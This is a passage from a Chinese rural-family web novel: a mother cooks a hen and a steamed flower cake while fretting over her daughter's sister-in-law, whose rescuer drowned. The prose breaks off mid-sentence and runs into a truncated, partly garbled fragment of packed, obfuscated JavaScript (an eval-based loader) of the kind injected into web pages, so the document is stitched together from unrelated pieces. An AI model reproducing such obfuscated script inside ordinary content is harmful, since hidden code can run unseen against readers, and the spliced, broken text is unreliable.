“那怎么能行,你爹都说了。”戴福娣犹豫纠结半晌,忍着心疼,最终还是抱起了那只圆滚滚的母鸡,“还是杀这只吧。”
苗素云只扯了下嘴角,没再说话,从来都是这样。
就像当年她的婚事,她爹一听媒人胡打听讲钟诚被选上要去当兵立刻就点头答应了,而她娘只会在背后长吁短叹,说苗素云嫁过去可有苦头吃了,婆婆是个十里八乡有名的泼辣子、小姑子也不是个好的,她可怜的女儿文静又老实,怎么斗得过这样两个人。
苗素云当时对这门亲事也没多少好感,她从小就不喜欢钟诚。
钟诚他娘和砬弯沟的杨家婶子是一个地方的,两人从小一块儿长大,关系好的就跟亲姊妹俩似的,就算后来一个嫁到了同甘村、一个嫁到了砬弯沟,也没断了来往,农闲的时候串个门那是常事,所以同是砬弯沟人的苗素云自然也时而会见到跟着邓霞过来玩的钟诚。
谁知道他每回见她在傻笑什么,苗素云怀疑这少年人是个傻的,每每都躲了去。
本来就不喜欢这人,听她娘又说未来婆婆和小姑子也都各有各的糟糕,苗素云当时就求了她娘去和爹说这门亲事作罢。
她娘也是现在这样,只嘴上说说,却没有任何反抗,只会揽着她哭诉女儿像菜籽,迟早都要落到别人家,落哪儿不是落,女人家天生就是命苦,只能干熬着,熬到孩子都大了、熬成婆就好了。
心灰意冷下,出嫁那天,苗素云没有多少新嫁娘的喜悦和忐忑,只冷眼看着周围的一切。
她爹苗老憨高兴的脸色红润,丝毫不考虑自家闺女未来可能会过怎样的日子,只满心欢喜多了个长脸的出息女婿;
苗素云知道她娘戴福娣那一刻留下的泪水是真心疼闺女,但然后呢?没有然后了。
就在十九岁的苗素云已经认命接受自己未来几十年的苦日子时,才发现不是这样的。
当媳妇的也可以对着自己男人大小声,有话直说。
当闺女的也不必当自己是迟早会嫁出去的外人,想吃什么、想要什么就大大方方的要。
她不是落到钟家的菜籽,她是嫁到钟家的媳妇,是这个家的新家人,钟家人把她当个人。
戴福娣一手牢牢掐着鸡脖子,一手拿着菜刀,手起刀落麻利的给母鸡抹了脖子,流出来的鸡血一滴没浪费的用瓷碗接住,之后拿开水烫下来的鸡毛也没扔,给小外孙扎了个毽子。
钟国强拿着得来的新玩意鸡毛毽子在院子里自己玩得高兴。
把开膛破肚收拾好的母鸡剁成块放在案板上预备好,戴福娣又做起了花糕。
先揉出一个一尺左右的面团主体放在笼屉里,再揪一块鸡蛋大小的面团,戴福娣骨节粗大的手虽然看着粗糙,却很是灵巧的将手里的面团捏出个老虎的样子,装饰在大面团上。
鸡肉下锅,再摞上笼屉。
等花糕蒸熟,鸡肉也煮得烂软。
戴福娣把笼屉拿到一旁,给锅里的鸡汤加了些调味的盐粒,重新盖上锅盖。
一直照看着火的苗素云起身从橱柜里找出红颜料,看她娘在花糕上点了几个红点,顿时如画龙点睛一般,好看极了。
“你那小姑子可咋办呦?”饭菜做得差不多了,戴福娣歇了口气,说起了闲事。
“什么怎么办?”苗素云又坐回灶台前的小木凳上往炉膛里塞柴火。
戴福娣咋舌,看女儿仿佛在看什么不长心眼的傻子,“前阵子的事情砬弯沟还有谁不知道,那尸……都是在咱们这边河水下游捞上来的,现在还有谁不知道是李家小子舍身救了你那小姑子、自己却丢了性命的事。”
“家里去李家上门道谢了,”苗素云说,“赔礼也给了,丧事我们家也上心帮着一起弄了,钟诚这些日子挣得工分也划给他家一半,这事就算完了。”
“完什么完啊?”戴福娣着急接上女儿的话,“你们钟家就没一个人想到吗?你那小姑子要砸在手里了!”
苗素云秀气的眉头皱起,被钟家人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+